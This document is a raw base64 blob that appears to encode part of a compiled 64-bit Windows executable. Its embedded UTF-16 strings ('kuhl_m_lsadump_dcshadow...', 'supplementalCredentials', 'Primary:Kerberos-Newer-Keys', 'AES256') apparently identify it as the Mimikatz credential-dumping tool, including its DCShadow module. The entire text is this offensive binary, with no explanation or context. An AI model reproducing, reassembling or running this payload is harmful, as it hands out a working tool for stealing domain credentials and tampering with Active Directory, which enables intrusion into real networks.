/AgDwBAHX3SDvHdhWAPDk9dQ9Mi8dIi9bos/D//4XAdApIg8MISIM7AOvKSIsDSP/ASAPH6wIzwEiLXCQwSIt0JDhIg8QgX8NIi8RIiVgISIlwEEiJeBhMiXAgQVdIg+wwTYv5SYvwSIv6TIvxuQsAAADoNVH//5Az24vDTYX2D5XAhcB1E+gpJ///uxYAAACJGOhZI///625JiR5Ihf90CkiF9nUKSIX/dQxIhfZ1B7gBAAAA6wKLw4XAdMlIhf90AogfSYvP6PT+//9Mi8BIhcB0M0iDyP9I/8BBOBwAdfdI/8BJiQZIhfZ0G0g7xnYHuyIAAADrD0iL1kiLz+j1H///hcB1DrkLAAAA6O9Q//+Lw+sVSIlcJCBFM8lFM8Az0jPJ6Oci//+QSItcJEBIi3QkSEiLfCRQTIt0JFhIg8QwQV/DzMzM6fv+///MzMxAVVNWV0FUQVVBVkFXSIHsiAAAAEiNbCRQSIsFIFkFAEgzxUiJRShIY52gAAAARTPkTIutqAAAAE2L+USJRQBIi/lIiVUIhdt+KUiL00mLyehD8P//SIvYSGO1sAAAAIX2fhxIi9ZJi83oKvD//0iL8OsRg/v/feAzwOn2AgAAg/7/fPREi7W4AAAARYX2dQdIiwdEi3AMvwEAAACF23QIhfYPhZsAAAA73nUKuAIAAADpvwIAADv3fgeLx+m0AgAAO99+CrgDAAAA6aYCAABIjVUQQYvO/xWMHAAAhcB0mIXbfiuDfRACcttEOGUWSI1FFnTRRDhgAXTLQYoPOghyBTpIAXamSIPAAkQ4IOvjhfZ+MIN9EAJyoUQ4ZRZIjUUWdJdEOGABdJFBik0AOghyCTpIAQ+Gcv///0iDwAJEOCDr3kSJZCQoRIvLTYvHTIlkJCC6CQAAAEGLzv8Vrx4AAExj4IXAD4QM////SYvUSbjw////////D0gD0kiNShBIO9FIG8BIhcF0ckiNShBIO9FIG8BII8FIPQAEAABIjUIQdzdIO9BIG8lII8hIjUEPSDvBdwNJi8BIg+Dw6F4OAABIK+BIjXwkUEiF/w+EiAEAAMcHzMwAAOscSDvQSBvJSCPI6Nsk//9Ii/hIhcB0DscA3d0AAEiDxxDrAjP/SIX/D4RTAQAARIlkJChEi8tNi8dIiXwkILoBAAAAQYvO/xXqHQAAhcAPhC0BAACDZCQoAESLzkiDZCQgAE2LxboJAAAAQYvO/xXDHQAATGP4hcAPhAMBAABNi8dNA8BJjVAQTDvCSBvJSIXKdHlJjUgQTDvBSBvASCPBSD0ABAAASY1AEHc+TDvASBvJSCPISI1BD0g7wXcKSLjw////////D0iD4PDodQ0AAEgr4EiNXCRQSIXbD4SFAAAAxwPMzAAA6xxMO8BIG8lII8jo8iP//0iL2EiFwHQOxwDd3QAASIPDEOsCM9tIhdt0VESJfCQoRIvOTYvFSIlcJCC6AQAAAEGLzv8VBR0AAIXAdDJIg2QkQABFi8xIg2QkOABMi8dIg2QkMACLVQBIi00IRIl8JChIiVwkIOjDRP//i/DrAjP2SIXbdBVIjUvwgTnd3QAAdQnoKyP//+sCM/ZIhf90EUiNT/CBOd3dAAB1BegRI///i8ZIi00oSDPN6M8JAABIjWU4QV9BXkFdQVxfXltdw8zMSIlcJAhIiXQkEFdIg+xgSIvySYvZSIvRQYv4SI1MJEDo6yH+/4uEJKgAAABIjUwkSIlEJDhMi8uLhCSgAAAARIvHiUQkMEiL1kiLhCSYAAAASIlEJCiLhCSQAAAAiUQkIOgG/P//gHwkWAB0DEiLTCRAg6GoAwAA/UiLXCRwSIt0JHhIg8RgX8PMzMxIi8RTSIPsUPIPEIQkgAAAAIvZ8g8QjCSIAAAAusD/AACJSMhIi4wkkAAAAPIPEUDg8g8RSOjyDxFY2EyJQNDo1AYAAEiNTCQg6E6W//+FwHUHi8vobwYAAPIPEEQkQEiDxFBbw8zMzEiJXCQISIl0JBBXSIPsIIvZSIvyg+Mfi/n2wQh0E4TSeQ+5AQAAAOgABwAAg+P361e5BAAAAECE+XQRSA+64glzCujlBgAAg+P76zxA9scBdBZID7riCnMPuQgAAADoyQYAAIPj/usgQPbHAnQaSA+64gtzE0D2xxB0CrkQAAAA6KcGAACD4/1A9scQdBRID7rmDHMNuSAAAADojQYAAIPj70iLdCQ4M8CF20iLXCQwD5TASIPEIF/DzMzMSIvEVVNWV0FWSI1oyUiB7PAAAAAPKXDISIsF3VMFAEgzxEiJRe+L8kyL8brA/wAAuYAfAABBi/lJi9jotAUAAItNX0iJRCRASIlcJFDyDxBEJFBIi1QkQPIPEUQkSOjh/v//8g8QdXeFwHVAg31/AnURi0W/g+Dj8g8Rda+DyAOJRb9Ei0VfSI1EJEhIiUQkKEiNVCRASI1Fb0SLzkiNTCRgSIlEJCDoyAEAAOiflP//hMB0NIX/dDBIi0QkQE2LxvIPEEQkSIvP8g8QXW+LVWdIiUQkMPIPEUQkKPIPEXQkIOj1/f//6xyLz+i0BAAASItMJEC6wP8AAOj1BAAA8g8QRCRISItN70gzzOj7BgAADyi0JOAAAABIgcTwAAAAQV5fXltdw8xIuAAAAAAAAAgASAvISIlMJAjyDxBEJAjDzMzMzMzMzMzMzMxAU0iD7BBFM8AzyUSJBfazBQBFjUgBQYvBD6KJBCS4ABAAGIlMJAgjyIlcJASJVCQMO8h1LDPJDwHQSMHiIEgL0EiJVCQgSItEJCBEiwW2swUAJAY8BkUPRMFEiQWnswUARIkFpLMFADPASIPEEFvDSIPsOEiNBYWmAABBuRsAAABIiUQkIOgFAAAASIPEOMNIi8RIg+xoDylw6A8o8UGL0Q8o2EGD6AF0KkGD+AF1aUSJQNgPV9LyDxFQ0EWLyPIPEUDIx0DAIQAAAMdAuAgAAADrLcdEJEABAAAAD1fA8g8RRCQ4QbkCAAAA8g8RXCQwx0QkKCIAAADHRCQgBAAAAEiLjCSQAAAA8g8RTCR4TItEJHjom/3//w8oxg8odCRQSIPEaMPMzEiD7EiDZCQwAEiLRCR4SIlEJChIi0QkcEiJRCQg6AYAAABIg8RIw8xIi8RIiVgQSIlwGEiJeCBIiUgIVUiL7EiD7CBIi9pBi/Ez0r8NAADAiVEESItFEIlQCEiLRRCJUAxB9sAQdA1Ii0UQv48AAMCDSAQBQfbAAnQNSItFEL+TAADAg0gEAkH2wAF0DUiLRRC/kQAAwINIBARB9sAEdA1Ii0UQv44AAMCDSAQIQfbACHQNSItFEL+QAADAg0gEEEiLTRBIiwNIwegHweAE99AzQQiD4BAxQQhIi00QSIsDSMHoCcHgA/fQM0EIg+AIMUEISItNEEiLA0jB6ArB4AL30DNBCIPgBDFBCEiLTRBIiwNIwegLA8D30DNBCIPgAjFBCIsDSItNEEjB6Az30DNBCIPgATFBCOjfAgAASIvQqAF0CEiLTRCDSQwQqAR0CEiLTRCDSQwIqAh0CEiLRRCDSAwE9sIQdAhIi0UQg0gMAvbCIHQISItFEINIDAGLA7kAYAAASCPBdD5IPQAgAAB0Jkg9AEAAAHQOSDvBdTBIi0UQgwgD6ydIi0UQgyD+SItFEIMIAusXSItFEIMg/UiLRRCDCAHrB0iLRRCDIPxIi0UQgeb/DwAAweYFgSAfAP7/SItFEAkwSItFEEiLdTiDSCABg31AAHQzSItFELrh////IVAgSItFMIsISItFEIlIEEiLRRCDSGABSItFECFQYEiLRRCLDolIUOtISItNEEG44////4tBIEEjwIPIAolBIEiLRTBIiwhIi0UQSIlIEEiLRRCDSGABSItVEItCYEEjwIPIAolCYEiLRRBIixZIiVBQ6OYAAAAz0kyNTRCLz0SNQgH/FfwUAABIi00Q9kEIEHQFSA+6Mwf2QQgIdAVID7ozCfZBCAR0BUgPujMK9kEIAnQFSA+6Mwv2QQgBdAVID7ozDIsBg+ADdDCD6AF0H4PoAXQOg/gBdShIgQsAYAAA6x9ID7ozDUgPuisO6xNID7ozDkgPuisN6wdIgSP/n///g31AAHQHi0FQiQbrB0iLQVBIiQZIi1wkOEiLdCRASIt8JEhIg8QgXcPMzEiD7CiD+QF0FY1B/oP4AXcY6GYb///HACIAAADrC+hZG///xwAhAAAASIPEKMPMzEBTSIPsIOj98v//i9iD4z/oDfP//4vDSIPEIFvDzMzMSIlcJBhIiXQkIFdIg+wgSIvaSIv56M7y//+L8IlEJDiLy/fRgcl/gP//I8gj+wvPiUwkMIA9jVgFAAB0JfbBQHQg6LHy///rF8YFeFgFAACLTCQwg+G/6Jzy//+LdCQ46wiD4b/ojvL//4vGSItcJEBIi3QkSEiDxCBfw0BTSIPsIEiL2ehe8v//g+M/C8OLyEiDxCBb6V3y///MSIPsKOhD8v//g+A/SIPEKMPMzMzMzMzMzMzMzExjQTxFM8lMA8FMi9JBD7dAFEUPt1gGSIPAGEkDwEWF23Qei1AMTDvScgqLSAgDykw70XIOQf/BSIPAKEU7y3LiM8DDzMzMzMzMzMzMzMzMSIlcJAhXSIPsIEiL2UiNPdwc9v9Ii8/oNAAAAIXAdCJIK99Ii9NIi8/ogv///0iFwHQPi0Akwegf99CD4AHrAjPASItcJDBIg8QgX8PMzMy4TVoAAGY5AXUgSGNBPEgDwYE4UEUAAHURuQsCAABmOUgYdQa4AQA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AbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AYQB0AHQAcgBpAGIAdQB0AGUAIAA7ACAAbwBpAGQAIABpAHMAIABpAG4AdgBhAGwAaQBkACAAJQBTAAoAAAAAACAARgBMAEEARwBfAEEAVABUAFIAXwBOAE8AVABfAFIARQBQAEwASQBDAEEAVABFAEQACgAAAAAAIABGAEwAQQBHAF8AQQBUAFQAUgBfAEkAUwBfAEMATwBOAFMAVABSAFUAQwBUAEUARAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwBhAHQAdAByAGkAYgB1AHQAZQAgADsAIABhAHQAdAByAGkAYgB1AHQAZQAgAGQAbwBlAHMAIABuAG8AdAAgAGUAeABpAHMAdAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAGEAdAB0AHIAaQBiAHUAdABlACAAOwAgAGwAZABhAHAAXwBzAGUAYQByAGMAaABfAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBhAGwAdQBlAF8AcwBpAGQAIAA7ACAATABvAGMAYQBsAEEAbABsAG8AYwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwB2AGEAbAB1AGUAXwBzAGkAZAAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwB2AGEAbAB1AGUAXwBvAGMAdABlAHQAXwBzAHQAcgBpAG4AZwAgADsAIABSAHQAbABHAFUASQBEAEYAcgBvAG0AUwB0AHIAaQBuAGcAIAAlAHMACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwB2AGEAbAB1AGUAXwBvAGMAdABlAHQAXwBzAHQAcgBpAG4AZwAgADsAIABrAHUAbABsAF8AbQBfAHMAdAByAGkAbgBnAF8AcwB0AHIAaQBuAGcAVABvAEgAZQB4ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQBfAHMAZQBjAHUAcgBpAHQAeQBfAGQAZQBzAGMAcgBpAHAAdABvAHIAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGUAYwB1AHIAaQB0AHkARABlAHMAYwByAGkAcAB0AG8AcgBUAG8AUwBlAGMAdQByAGkAdAB5AEQAZQBzAGMAcgBpAHAAdABvAHIAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQBfAGQAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBzAHQAcgBpAG4AZwBfAHMAdAByAGkAbgBnAFQAbwBGAGkAbABlAFQAaQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABQAHIAaQBtAGEAcgB5ADoAAAAAAAAAAABQAGEAYwBrAGEAZwBlAHMAAAAAAAAAAAAlAFsAXgA6AF0AOgAlAFsAXgA6AF0AOgAlAHMAAAAAAFMAYQBsAHQAIAAgADoAIAAlAHcAWgAKAEEARQBTADIANQA2ADoAIAAAAAAAAAAAACgAcABhAHMAcwB3AG8AcgBkACAALQAgACUAdwBaACkAIAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQBfAHMAdQBwAHAAbABlAG0AZQBuAHQAYQBsAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwBfAHYAYQBsAHUAZQBGAHIAbwBtAEEAcgBnAHMAIAA7ACAAawB1AGwAbABfAG0AXwBzAHQAcgBpAG4AZwBfAHMAdAByAGkAbgBnAFQAbwBIAGUAeABCAHUAZgBmAGUAcgAoAEEARQBTADIANQA2ACkACgAAAAAAQQBFAFMAMQAyADgAOgAgAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwB2AGEAbAB1AGUAXwBzAHUAcABwAGwAZQBtAGUAbgB0AGEAbABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAXwB2AGEAbAB1AGUARgByAG8AbQBBAHIAZwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBzAHQAcgBpAG4AZwBUAG8ASABlAHgAQgB1AGYAZgBlAHIAKABBAEUAUwAxADIAOAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQBfAHMAdQBwAHAAbABlAG0AZQBuAHQAYQBsAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwBfAHYAYQBsAHUAZQBGAHIAbwBtAEEAcgBnAHMAIAA7ACAAawB1AGwAbABfAG0AXwBzAHQAcgBpAG4AZwBfAGMAbwBwAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwB2AGEAbAB1AGUAXwBzAHUAcABwAGwAZQBtAGUAbgB0AGEAbABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAXwB2AGEAbAB1AGUARgByAG8AbQBBAHIAZwBzACAAOwAgAEUAcgByAG8AcgAgAHcAaABlAG4AIABwAGEAcgBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ADoAIAAlAHMAIAAoAHIAZQB0ADoAIAAlAGkAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwB2AGEAbAB1AGUAXwBzAHUAcABwAGwAZQBtAGUAbgB0AGEAbABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAXwB2AGEAbAB1AGUARgByAG8AbQBBAHIAZwBzACAAOwAgAE4AVQBMAEwAIABhAHIAZwAKAAAACgA9AD0AIABFAG4AYwBvAGQAZQByACAAaABlAGwAcABlAHIAIABmAG8AcgAgAHMAdQBwAHAAbABlAG0AZQBuAHQAYQBsAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAD0APQAKAAoAAABQAHIAaQBtAGEAcgB5ADoASwBlAHIAYgBlAHIAbwBzAC0ATgBlAHcAZQByAC0ASwBlAHkAcwAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQAgADsAIABTAHkAbgB0AGEAeAAgAGYAbwByACAAYQB0AHQAcgBpAGIAdQB0AGUAIAAlAHMAIABuAG8AdAAgAGkAbQBwAGwAZQBtAGUAbgB0AGUAZAAgACgAMAB4ACUAeAApAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGw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